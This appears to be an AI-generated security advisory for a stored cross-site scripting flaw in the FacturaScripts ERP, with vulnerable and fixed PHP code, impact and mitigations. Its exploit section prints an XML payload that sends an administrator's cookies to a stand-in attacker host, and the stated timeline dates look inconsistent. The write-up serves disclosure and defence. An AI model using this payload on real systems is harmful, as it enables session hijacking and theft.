CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-69210
CVSS 1.2|EPSS 0.06%

Ledger Poisoning: Stored XSS in FacturaScripts (CVE-2025-69210)

Amit Schendel
Amit Schendel
Senior Security Researcher•December 30, 2025•6 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

FacturaScripts blocked SVGs to prevent XSS but forgot about XML and HTML. Attackers can upload these file types containing malicious scripts. When an admin views the file, the script executes, leading to potential account takeover. Fixed in version 2025.7.

A stored Cross-Site Scripting (XSS) vulnerability in the FacturaScripts ERP system allows authenticated attackers to hijack administrator sessions by uploading malicious XML or HTML files.

The Hook: Accounting for Failure

Enterprise Resource Planning (ERP) systems are the crown jewels of corporate infrastructure. They hold the money, the customer data, and the secrets. FacturaScripts is a popular open-source contender in this space, particularly in Spanish-speaking regions. Ideally, an accounting system should be boring, predictable, and secure. But CVE-2025-69210 proves that even the most mundane software can harbor exciting opportunities for chaos.

This isn't your typical complex memory corruption or a ROP chain masterpiece. This is a classic logic failure in handling user input—specifically, file uploads. The developers realized that allowing users to upload arbitrary files was risky, so they put guards in place. They specifically looked at SVG files, known vectors for Cross-Site Scripting (XSS), and forced them to download rather than render.

But here's the punchline: they stopped there. They locked the front door (SVG) but left the garage, the back door, and the windows (XML, HTML, XHTML) wide open. If you can get an administrator to look at your "receipt," you can own their session.

The Flaw: The 'isSvg' Tunnel Vision

The root cause of CVE-2025-69210 is a textbook case of allow-listing vs. block-listing, combined with a misunderstanding of how browsers handle content types. The application allows users to attach files to products or invoices—a necessary feature for an ERP.

When a user requests to view a file, the server decides how to serve it. If the server sends a Content-Disposition: attachment header, the browser downloads the file. If that header is missing (and the Content-Type allows it), the browser tries to render it. The developers knew that rendering SVGs inline is dangerous because SVGs can contain <script> tags. So, they implemented a check: isSvg().

[!NOTE] Browser Behavior: Modern browsers are aggressive about rendering content. If you serve an XML file with Content-Type: text/xml or application/xml without forcing a download, the browser parses the XML tree. If that tree contains an XHTML namespace with a script tag, it executes. FacturaScripts failed to account for this nuance.

By focusing exclusively on SVGs, the developers created a blind spot. They implicitly trusted other file extensions like .xml, .html, and .xhtml to be safe for inline viewing, or perhaps simply forgot them. This oversight allows an attacker to upload a file that looks like data but acts like code.

The Code: Fixing the Filter

The vulnerability lived in Core/Controller/Myfiles.php. Let's look at the fix introduced in commit e908ade21c84bdc9d51190057482316730c66146. It perfectly illustrates the shift from a specific patch to a broader policy enforcement.

The Vulnerable Code:

// BEFORE: Tunnel vision on SVG
if ($this->isSvg($this->filePath)) {
    header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
}

In the vulnerable version, the code explicitly asks "Is this an SVG?" If the answer was "No" (e.g., it's an XML file), the code proceeded to serve the file inline, likely with a content-type derived from the extension or file content.

The Fix:

// AFTER: A comprehensive check for dangerous types
if ($this->shouldForceDownload($this->filePath)) {
    header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
}

The patch introduces shouldForceDownload(), a helper function that casts a much wider net. It checks against a blacklist of extensions (svg, xml, xsig, html, htm, xhtml) AND a blacklist of MIME types (text/html, text/xml, application/xml, etc.). This dual-check prevents attackers from bypassing the filter by renaming payload.xml to payload.txt if the server is performing MIME sniffing.

The Exploit: Weaponizing XML

Exploiting this requires an authenticated user account with permissions to upload files (e.g., a standard employee or inventory manager). The goal is to elevate privileges by trapping an administrator.

Step 1: Craft the Payload We don't need a complex binary payload. A simple XML file invoking the XHTML namespace is sufficient to trigger JavaScript execution in the browser.

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <script xmlns="http://www.w3.org/1999/xhtml">
        // Send the admin's cookies to our C2 server
        fetch('https://attacker.com/collect?cookie=' + btoa(document.cookie));
    </script>
</root>

Step 2: Delivery The attacker logs into FacturaScripts and navigates to a product or invoice upload section. They upload innocent_invoice.xml containing the payload above.

Step 3: Execution The attacker plays the waiting game. Eventually, an administrator reviews the product files. They see the XML file and click to view it, expecting a data structure. Instead, the browser renders the XML, processes the <script> block, and silently exfiltrates the session ID to the attacker.

The Impact: Low Score, High Stakes

The provided CVSS 4.0 score for this vulnerability is a perplexing 1.2 (Low). This likely reflects the requirement for authentication and perhaps a specific interpretation of "User Interaction" in the new standard. However, do not let the score fool you. In the real world, this is a dangerous flaw.

If an attacker compromises a low-level account (which often have weak passwords), they can use this Stored XSS to pivot to an Administrator account. Once they have Admin access to an ERP, they can:

  1. Exfiltrate financial data: Download customer lists, tax IDs, and transaction history.
  2. Modify records: Alter bank account details for invoices to redirect payments.
  3. Plant backdoors: Create new admin users or upload web shells (if further file upload restrictions are lax).

The impact on confidentiality and integrity is total within the scope of the application. The low CVSS score is a bureaucratic technicality; the operational risk is High.

Mitigation: Force the Download

The immediate fix is to upgrade to FacturaScripts 2025.7 or later. The patch effectively neutralizes the attack by forcing the browser to download these dangerous file types rather than rendering them.

If you cannot patch immediately, you can implement mitigation at the web server level (Nginx/Apache):

  1. Content-Security-Policy (CSP): Implement a strict CSP that disallows inline scripts (script-src 'self'). This will block the XSS payload even if the file is rendered.
  2. Force Downloads via Config: Configure your web server to force Content-Disposition: attachment for .xml, .html, and .xhtml files served from the upload directory.
  3. X-Content-Type-Options: Ensure the nosniff header is active to prevent the browser from guessing that a .txt file is actually executable HTML.

Official Patches

FacturaScriptsGitHub Commit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
1.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
EPSS Probability
0.06%
Top 88% most exploited

Affected Systems

FacturaScripts < 2025.7

Affected Versions Detail

ProductAffected VersionsFixed Version
FacturaScripts
FacturaScripts
< 2025.72025.7
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored XSS)
CVSS Score1.2 (CVSS 4.0)
EPSS Score0.06%
Exploit StatusPoC Available
Patch Commite908ade21c84bdc9d51190057482316730c66146

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit Resources

Known Exploits & Detection

Research ContextInternal PoC using XML namespace injection

Vulnerability Timeline

Vulnerability Timeline

Patch Applied
2025-01-20
CVE Published
2025-02-14

References & Sources

  • [1]Patch Commit

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.